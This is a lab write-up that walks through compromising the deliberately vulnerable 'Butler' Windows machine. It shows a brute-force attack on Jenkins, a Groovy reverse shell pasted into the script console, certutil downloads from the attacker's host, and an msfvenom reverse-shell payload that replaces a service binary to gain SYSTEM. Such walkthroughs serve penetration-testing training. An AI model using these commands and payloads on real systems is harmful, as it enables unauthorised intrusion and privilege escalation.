BUTLER MACHINE EXPLOIT WALKTHROUGH
Published: 2024-07-13 00:03:01

This walkthrough will showcase a creative approach in exploiting a windows machine named butler and gaining access on the machine. 

After successfully setting up your butler windows machine, use the following details to login to the machine.

**butler: JeNkIn5@44
administrator: A%rc!BcA!**

We can login using the administrator password **A%rc!BcA!** so as to get the IP address of our butler windows machine.

After successful login to our windows machine, we open the **command prompt** and input the command below to get our IP address:
```
ipconfig

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tbz8ktl5jzysochdrx22.png)

From the image above, my IP address is **"192.168.182.142"**

We can start by pinging our windows machine from our kali using the command:

```
ping 192.168.182.142 -c3

```
to make sure both machines are communicating


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yccbh0s0cvl6klaltz9u.png)



The next step now is to run an Nmap scan using the command:

```
nmap -p- -A 192.168.182.142

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7tcex2w8prypxkk91dyt.png)

From the above image we can see that port 8080 is open which is using http service, so the next step is to visit the website on our browser using:

```
192.168.182.142:8080

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/irky84yiot9dsyzoll0c.png)

We landed on a jenkins login page.
After much enumerations I couldn't find anything, so I searched the web for jenkins default password.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/29hc0jt104zjrb3bijvt.png)

So I tried using the default password and it still failed.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fybojcjcni7e4c9zmisg.png)

So the next thing left for me now is to try a brute force attack and for that I want to use metasploit.

So we open a new tab on our kali and input the command below to turn on metasploit:

```
msfconsole

```


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/q31i4t60zm2zzovje7yl.png)

So next, we search the word jenkins using the command:

```
search jenkins

```


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nqhlhjkz9xmgfwdqp5v0.png)

For me on number 19, it's showing me a jenkins login with the details **"19  auxiliary/scanner/http/jenkins_login"**

NB- your own jenkins login number might be different, so make sure to use the jenkins login number of yours.

So next, I input the command:
```
use 19

```
Then I input the command:
```
options

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g7do41gpwhstmylzwtzs.png)

My idea is to use rockyou.txt wordlist for both the username and password but it will take hours if not days for the brute force attack to be complete.

So for the options set the following parameters by inputting the command:

```
set username jenkins

```

```
set pass_file /usr/share/wordlists/rockyou.txt

```

```
set user_as_pass true

```

```
set stop_on_success true

```

```
set rhosts 192.168.182.142

```

NB- So basically, what I am trying to do is use the username jenkins as a trial and see if it will have a successful login using the password file of rockyou.txt.

In a case where there's no username to try we can use rockyou.txt for the username file but like I said the attack would take hours if not days to be successful, so to make you get the password on time, make sure to set the username as jenkins.

Now input the command:
```
options

```
to make sure all what was set has been properly set and is reflecting.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5yn5fi7j1ein8uc10cwn.png)

Now input the command below to run the exploit:
```
run

```


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zgydvl8k4tts8q37yu5r.png)

After successfully running the exploit, we can see from the output that the username and password for the jenkins website is **jenkins:jenkins**

So both the username and password are the same.
- I'd also like to show you how to use burp-suite for a brute-force attack.

## HOW TO USE BURP-SUITE FOR BRUTE FORCE ATTACK
-Search for foxyproxy extension on your firefox browser on kali and then add it to your extension

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5dghyn3l9ifredxb7o6q.png)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4jzo38960gmvlpav019i.png)

- Click on the extension, right click and select the manage extension option


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/u1f5nlc5en0s7pn7l3dr.png)

- Click on proxies and then add
- Now set the title, type, hostname and port as seen in the image below and then save


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/98u8mt6uhfoampihd8p3.png)

Now once you have visited the jenkins login page, make sure your foxyproxy extension is switched on.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z5q0m5i42nt01er7dzdn.png)

- Now search for burpsuite on your kali and open it

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lmhkvwzzdr7l6glk9oss.png)

- Press next

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fpkvnirdi0xmnqnsj4o6.png)

- Start burp

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ewx3ladusiftcthx9aaf.png)

- Click on proxy and set intercept to on

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zb3rzilxm6s9b51w9t80.png)

- Remember to make sure that foxyproxy extension is on

-Now input a wrong username and password for the jenkin login


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yhligxzeblda40dyygqi.png)


It will take you straight to burp and show you a page as seen below

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9g0knhjcp1hpqiz9xutp.png)

- right click and then send to repeater and also send to intruder

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/axex1240g7ibgqqnf8iv.png)

- From repeater you can easily change the username and password and then click on send to know if the details are corrected but doing this with repeater will take time.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jw2s7jipylgs5zoufu9z.png)

- So now we switch to intruder

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oquh8ctcisomrnsx6rbm.png)

- Next we double click on the username hacker and the click on add
- Then we double click on the password hacker and the click on add


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kxj9jjavw91ocg2en0zv.png)

It has shown us from the image that we have highlighted two position/options that we would like to change

- Next we switch out attack type to cluster bomb because we want to try all the usernames with all the passwords

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6zz7n2wdbidlt9fc57ar.png)

- Now click on payload

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bvk6l6cz22gv6taa7s5t.png)

what we are trying to do is to guess some usernames and passwords that we would like to use for a brute force attack

- So we input them as seen in the image below and click on add and keep adding as much as we want to.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bwxersv1n1lv04prvphc.png)

- Then we switch to 2 as seen in the image below and input the passwords we would like to try.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/iaoiqbj8r1ezoahn4zm8.png)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/f47o6hfh9b1aaxxenx0o.png)

- Click on start attack

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xbnqsc81zqundhpmoaff.png)

- Notice how from the response we got the status code is the same but what we are mainly focusing on is the length and from the image below we can see a big difference in the length for jenkins-jenkins, because the length difference gives us an indication that there's something different, so we try the username and password on the jenkins page.

NB- make sure to turn off your burp-suite and foxyproxy

Now we go back to our jenkins login page and input the username and password **jenkins**


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lwz7v59cmn2nuoehor0p.png)

we have successfully logged in.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/u28l7vt8xuhabbee003i.png)

Now we are trying to find a place to run code execution .

For that click on manage jenkins

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lgxuil6u5ppk01psmfff.png)
 And then click on script console

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/aukkfjwkuzkzwdhq7fbk.png)

The script console seems to be in groovy

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qpvl9l8yu9lt5ddz4n81.png)

Search google for groovy reverse shell and select the one from github as seen in the image below

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o74gnwkw29ab0zbn6bfv.png)

Now click on raw and copy all

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ewot64t0xldwodqwlmxa.png)

Now paste it script console

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uglrp8unhl9sv18z73qu.png)

Since the reverse shell script wants to use port 8044 so we set up a listener using the command:

```
nc -nvlp 8044

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ntncf598tc6grsjiawet.png)

Now we need to change the local host to our attacking machine's IP address


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zbqz9ys1d0p0a0yc00yz.png)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nphqpeg368yt929iub05.png)

Now click on the run

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kdbeinq505ipx5rkubhp.png)

We have successfully popped a shell

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wu6q2ev67m28l32c8w19.png)

Input the command below to find out who we are on the system
```
whoami

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y0zs7lum8m2smej39wiw.png)

From the image above, we can see that we are butler and we are not system admin, so we would need to do some privilege escalation.

For this we would use a tool called **winpeas**
It is a privilege escalation tool for windows.

Search google for winpeas

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hwuf6kpul83sqbv0vkqr.png)

select the one as seen in the image above

Then select the winpeasexe file

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3rz3r1r7t4k5v8vatgm0.png)

Scroll down and click on download the latest

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8sja68qurguikobf9y84.png)

Click on winpeasX64

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cz7b1pu26dq0knxjpegf.png)

Once you have successfully downloaded it, it should be in your downloads directory.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o8ep8yggk64k3eutimxc.png)

Now that it has been successfully downloaded, we need to host up a web server and then get the file from our shell we popped

To do that , input the command below in your downloads directory:

```
python3 -m http.server 80

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9hjmkav2kr60wb3h8wlg.png)

Then on our tab which we popped a shell, we need to go into a directory we know that we have read and write permission.

So input the command:

```
cd c:\users

```
Input the command;
```
dir

```


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/p4yqadxpsa3xxrf3c5pl.png)

Now input the command:

```
cd butler

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vpabhx7ji997bcwlnlti.png)


Now we would put winpeas here because it is butler's base directory and we should have a higher permission for this directory.

So to put the file here, input the command;

```
certutil.exe -urlcache -f http://192.168.182.129/winPEASx64.exe winpeas.exe

```
The file should have successfully downloaded and be named as winpeas.exe on the windows system

Input the command below to find the file:

```
dir

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pygz5isxpmhazr0iq07d.png)

Now we need to run winpeas and to do that we input the command:

```
winpeas.exe

```

For this particular exploit, we are interested in finding out which services are running on the system, so scroll down to **service information** found from winpeas


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lvllxyxof44o55jkdlw2.png)

The image above shows some of the services running on the butler windows machine.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0ho6b52tl51czj5qpd0r.png)

Out of all the services running, the wiseboot is the one we are interested in.

The next step now is to generate some malware, we can use metasploit to do that but for this exploit we would be doing it manually using the command:
```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.182.129 LPORT=7777 -f exe > wise.exe

```

NB- Make sure to change the LHOST to your kali's IP address.

Once the malware has been generated we need to host up a web server and receive it on our windows tab in which we popped the shell


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/st6mirdhl9l6kz8udud0.png)

The image above shows that I generated the malware on my Downloads directory, so I would host up the web server there using the command:

```
python3 -m http.server 80

```
NB- Make sure you have cancelled the web server we were previously hosting.

Use **Crtl C**  to cancel the previous one if you haven't
And if yours is still being hosted from the first time we hosted it and you do not wish to cancel, then do not cancel, just do not re-host it and then just input the command to receive the wise.exe file on the windows machine.

Next we need to open up a new tab and then listen on port 7777 because that is the port we plan on using for the exploit and for that we use the command:

```
nc -nvlp 7777

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zgvy9o8ldd8l8xsluxff.png)

Now we need to cd into the wise directory, so for that input the command:

```
cd c:\

```
```
dir

```

Then we need to go into the program file x86 directory, so input the command:
```
cd Program Files (x86)

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wyin3je2lio3uaq10zfd.png)

Now cd into wise using the command:

```
cd Wise

```

Now we want to put the wise.exe file here, so we input the command:

```
certutil -urlcache -f http://192.168.182.129/wise.exe wise.exe

```

Once it has been successful, input the command:

```
dir

```
to confirm


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/f8woavxo2nhf177im4hr.png)

We need to first stop the service that's running as wisebootassistant, because if we don't, we might pop a shell back as butler instead of system admin, so to stop the service, input the command:

```
sc stop wisebootassistant

```
To confirm that the service has stopped, input the command:

```
sc query wisebootassistant

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bike3wgkw54ljyzo1xyo.png)

Now we need to start it using the command:

```
sc start wisebootassistant

```
We have successfully popped a shell as system.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cplkia9h12l8nypbl6s0.png)

Input the command below to confirm:

```
whoami

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2ez9fr1vjnobortgyryk.png)

and input the command below to get the system info:

```
systeminfo

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qkyb830f8xp7s1iessff.png)


## MAJOR PROBLEM YOU MIGHT FACE WHILE EXPLOITING THIS MACHINE
For some reasons the machine would keep shutting down so whenever it shuts down, make sure to turn it back on.

GOODLUCK!!!